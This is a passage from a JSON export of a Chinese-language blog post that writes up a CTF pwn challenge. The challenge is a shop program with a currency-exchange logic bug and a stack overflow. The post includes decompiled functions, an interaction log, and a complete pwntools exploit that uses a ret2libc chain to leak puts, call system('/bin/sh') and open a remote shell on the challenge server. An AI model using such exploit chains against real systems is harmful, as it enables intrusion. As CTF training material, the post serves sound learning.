&nbsp;return puts(\"6.check youer money\");<br>}<br>\u200b<br>\u200b<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u7b2c\u4e03\u4e2a\u9009\u9879\u5f88\u660e\u663e\u662f\u5b58\u5728\u95ee\u9898\u7684<\/p>\n\n\n\n<p>\u8fdb\u5165\u7b2c\u4e03\u4e2a\u9009\u9879\u5bf9\u5e94\u7684\u51fd\u6570<\/p>\n\n\n\n<p>__<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int64 see_it()<br>{<br> &nbsp;__int64 result; \/\/ rax<br> &nbsp;int count; \/\/ &#91;rsp+Ch] &#91;rbp-4h]<br>\u200b<br> &nbsp;puts(\"Barter?!1000$ = 1hell_money\");<br> &nbsp;printf(\"How much do you exchange?\");<br> &nbsp;count = read_count();<br> &nbsp;what_can_I_say -= count;<br> &nbsp;result = (unsigned int)(money + 1000 * count);<br> &nbsp;money += 1000 * count;<br> &nbsp;return result;<br>}<\/code><\/pre>\n\n\n\n<p>\u770b\u5f97\u51fa\u6765\u8fd9\u91cc\u5b58\u5728\u4e24\u79cd\u8d27\u5e01<\/p>\n\n\n\n<p>money\u548chell_money<\/p>\n\n\n\n<p>1hm = 1000m<\/p>\n\n\n\n<p>\u7136\u540e\u5728\u5176\u4ed6\u9009\u9879\u4e2d\uff0c\u5747\u662f\u7528m\u8fdb\u884c\u4ea4\u6613<\/p>\n\n\n\n<p>hell_money\u4e5f\u662f\u53ef\u4ee5\u901a\u8fc7money\u8fdb\u884c\u8d2d\u4e70\u7684<\/p>\n\n\n\n<p>\u9884\u671f\u89e3\u5e94\u8be5\u662f\u4e0d\u65ad\u7528 <code>money<\/code> \u8d2d\u4e70 <code>holl_money<\/code> \u7136\u540e\u7528 <code>holl_money<\/code> \u8d2d\u4e70 <code>money<\/code> \u4f7f\u5f97 <code>money<\/code> \u80fd\u8d2d\u4e70\u6574\u4e2a\u5546\u5e97\uff0c\u7136\u540e <code>ret2libc<\/code><\/p>\n\n\n\n<p>\u4f46\u662f\u76f4\u63a5\u8fdb\u5165\u9009\u98797\u6362money\uff0chell_money\u6210\u8d1f\u6570\u4e5f\u6ca1\u5173\u7cfb\uff0c\u76f4\u63a5\u5c31\u80fd\u51fa<\/p>\n\n\n\n<p>\u4ea4\u4e92\u7ed3\u679c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Welcome to shop, what do you buy?<br>1.flowers<br>2.books<br>3.hell money<br>4.clothing<br>5.buy my shop<br>6.check youer money<br>\u200b<br>6<br>\u200b<br>you have 1000 $<br>you have 0 hell_money<br>\u200b<br>Welcome to shop, what do you buy?<br>1.flowers<br>2.books<br>3.hell money<br>4.clothing<br>5.buy my shop<br>6.check youer money<br>\u200b<br>7<br>\u200b<br>Barter?!1000$ = 1hell_money<br>How much do you exchange?<br>\u200b<br>1000000<br>\u200b<br>Welcome to shop, what do you buy?<br>1.flowers<br>2.books<br>3.hell money<br>4.clothing<br>5.buy my shop<br>6.check youer money<br>\u200b<br>6<br>\u200b<br>you have 1000001000 $<br>you have -1000000 hell_money<br>\u200b<br>Welcome to shop, what do you buy?<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u76f4\u63a5\u62ff\u5230\u4e86\u8db3\u591f\u7684money\uff0c\u4f46hell_money \u76f4\u63a5\u6210\u4e86\u8d1f\u6570<\/p>\n\n\n\n<p>\u4f46\u662f\u5b58\u5728\u6808\u6ea2\u51fa\u6f0f\u6d1e\u7684\u8d2d\u4e70\u51fd\u6570shop\uff08\uff09\u662f\u53ea\u9700\u8981money\u7684<\/p>\n\n\n\n<p>\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b58\u5728\u975e\u9884\u671f\u89e3\uff0c\u76f4\u63a5\u6362\u8d2dmoney\u540e\u76f4\u63a5\u8fdb\u884cret2libc\u5373\u53ef\uff0c\u4e0d\u9700\u8981hm\u548cm\u4e92\u76f8\u6362\u8d2d\uff0c\u4e5f\u5c31\u662f\u4e0d\u9700\u8981\u8fc7\u4e00\u904d\u9009\u9879\u4e09\u4e2d\u7684hell_money\u51fd\u6570<\/p>\n\n\n\n<p>exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>\u200b<br>io = remote('node1.anna.nssctf.cn',28599)<br># io=process(\".\/pwn\")<br>elf = ELF('.\/attachment')<br>libc= ELF('.\/libc.so.6')<br>\u200b<br>io.sendline(b'7')<br>io.recv()<br>io.sendline(b'1000000')<br>io.recv()<br>io.sendline(b'5')<br>\u200b<br>ret_add =0x0000000000400579<br>pop_rdi =0x0000000000400d73<br>main_add =0x0000000000400B1E<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \",hex(puts_got))<br>print(\"Puts_plt: \",hex(puts_plt))<br>\u200b<br>offset=0x40<br>\u200b<br>payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)<br>io.sendlineafter(b'it!!!', payload1)<br>puts_addr = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8,b'\\x00'))<br>print(\"Puts_addr: \",hex(puts_addr))<br>\u200b<br># libc = LibcSearcher('puts',puts_addr) &nbsp; # libc6_2.27-0ubuntu2_amd64<br>\u200b<br># libc_base = puts_addr - libc.dump('puts')<br># system_add = libc_base + libc.dump('system')<br># bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br>libc_base = puts_addr - libc.symbols&#91;'puts']<br>system_add = libc_base + libc.symbols&#91;'system']<br>bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)<br>\u200b<br>io.sendlineafter(b'it!!!', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>CTFshow pwn64 32\u4f4d\uff0c\u5f00\u4e86\u6808\u4e0d\u53ef\u6267\u884c \u8fdb\u5165IDA\u5206\u6790 main\u51fd\u6570\uff1a int __cdecl m [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-337","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/337","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=337"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/337\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=337"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=337"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=337"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}